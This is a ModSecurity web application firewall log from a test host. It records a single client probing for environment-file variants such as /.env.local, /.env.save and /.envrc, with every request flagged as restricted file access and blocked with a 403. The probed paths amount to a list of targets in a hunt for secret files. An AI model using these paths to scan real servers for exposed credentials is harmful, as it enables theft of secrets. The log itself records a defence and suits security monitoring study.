[Tue Jan 21 15:17:52.405784 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "Z4-skNKd0J471eFma_TqGQAAAAE"]
[Tue Jan 21 15:17:52.406188 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "Z4-skNKd0J471eFma_TqGQAAAAE"]
[Tue Jan 21 15:17:52.406794 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "Z4-skNKd0J471eFma_TqGQAAAAE"]
[Tue Jan 21 15:17:53.069118 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "Z4-skZqmj11ddtqosUH5dgAAAAM"]
[Tue Jan 21 15:17:53.069521 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "Z4-skZqmj11ddtqosUH5dgAAAAM"]
[Tue Jan 21 15:17:53.069994 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "Z4-skZqmj11ddtqosUH5dgAAAAM"]
[Tue Jan 21 15:17:54.892665 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "Z4-sktKd0J471eFma_TqGgAAAAE"]
[Tue Jan 21 15:17:54.893063 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "Z4-sktKd0J471eFma_TqGgAAAAE"]
[Tue Jan 21 15:17:54.893504 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "Z4-sktKd0J471eFma_TqGgAAAAE"]
[Tue Jan 21 15:17:55.592246 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "Z4-sk5qmj11ddtqosUH5dwAAAAM"]
[Tue Jan 21 15:17:55.592647 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "Z4-sk5qmj11ddtqosUH5dwAAAAM"]
[Tue Jan 21 15:17:55.593143 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "Z4-sk5qmj11ddtqosUH5dwAAAAM"]
[Tue Jan 21 15:17:57.513851 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "Z4-sldKd0J471eFma_TqGwAAAAE"]
[Tue Jan 21 15:17:57.514300 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "Z4-sldKd0J471eFma_TqGwAAAAE"]
[Tue Jan 21 15:17:57.514746 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "Z4-sldKd0J471eFma_TqGwAAAAE"]
[Tue Jan 21 15:17:58.105223 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "Z4-slpqmj11ddtqosUH5eAAAAAM"]
[Tue Jan 21 15:17:58.105749 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "Z4-slpqmj11ddtqosUH5eAAAAAM"]
[Tue Jan 21 15:17:58.106341 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "Z4-slpqmj11ddtqosUH5eAAAAAM"]
[Tue Jan 21 15:18:00.233217 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "Z4-smNKd0J471eFma_TqHAAAAAE"]
[Tue Jan 21 15:18:00.233626 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "Z4-smNKd0J471eFma_TqHAAAAAE"]
[Tue Jan 21 15:18:00.234073 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "Z4-smNKd0J471eFma_TqHAAAAAE"]
[Tue Jan 21 15:18:00.710885 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "Z4-smJqmj11ddtqosUH5eQAAAAM"]
[Tue Jan 21 15:18:00.711404 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "Z4-smJqmj11ddtqosUH5eQAAAAM"]
[Tue Jan 21 15:18:00.711913 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "Z4-smJqmj11ddtqosUH5eQAAAAM"]
[Tue Jan 21 15:18:02.808597 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "Z4-smtKd0J471eFma_TqHQAAAAE"]
[Tue Jan 21 15:18:02.809076 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "Z4-smtKd0J471eFma_TqHQAAAAE"]
[Tue Jan 21 15:18:02.809525 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "Z4-smtKd0J471eFma_TqHQAAAAE"]
[Tue Jan 21 15:18:03.096843 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "Z4-sm5qmj11ddtqosUH5egAAAAM"]
[Tue Jan 21 15:18:03.097262 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "Z4-sm5qmj11ddtqosUH5egAAAAM"]
[Tue Jan 21 15:18:03.097777 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "Z4-sm5qmj11ddtqosUH5egAAAAM"]
[Tue Jan 21 15:18:05.356024 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.travis"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.travis"] [unique_id "Z4-sndKd0J471eFma_TqHgAAAAE"]
[Tue Jan 21 15:18:05.356426 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.travis"] [unique_id "Z4-sndKd0J471eFma_TqHgAAAAE"]
[Tue Jan 21 15:18:05.356907 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.travis"] [unique_id "Z4-sndKd0J471eFma_TqHgAAAAE"]
[Tue Jan 21 15:18:05.744084 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.travis"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.travis"] [unique_id "Z4-snZqmj11ddtqosUH5ewAAAAM"]
[Tue Jan 21 15:18:05.744507 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.travis"] [unique_id "Z4-snZqmj11ddtqosUH5ewAAAAM"]
[Tue Jan 21 15:18:05.745040 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.travis"] [unique_id "Z4-snZqmj11ddtqosUH5ewAAAAM"]
[Tue Jan 21 15:18:08.019487 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.envrc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.envrc"] [unique_id "Z4-soNKd0J471eFma_TqHwAAAAE"]
[Tue Jan 21 15:18:08.019907 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.envrc"] [unique_id "Z4-soNKd0J471eFma_TqHwAAAAE"]
[Tue Jan 21 15:18:08.020428 2025] [:error] [pid 621535] [client 193.41.206.36:56148] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.envrc"] [unique_id "Z4-soNKd0J471eFma_TqHwAAAAE"]
[Tue Jan 21 15:18:08.296566 2025] [:error] [pid 621536] [client 193.41.206.36:56154] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.envrc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.envrc"] [unique_id "Z4-soJqmj11ddtqosUH5fAAAAAM"]
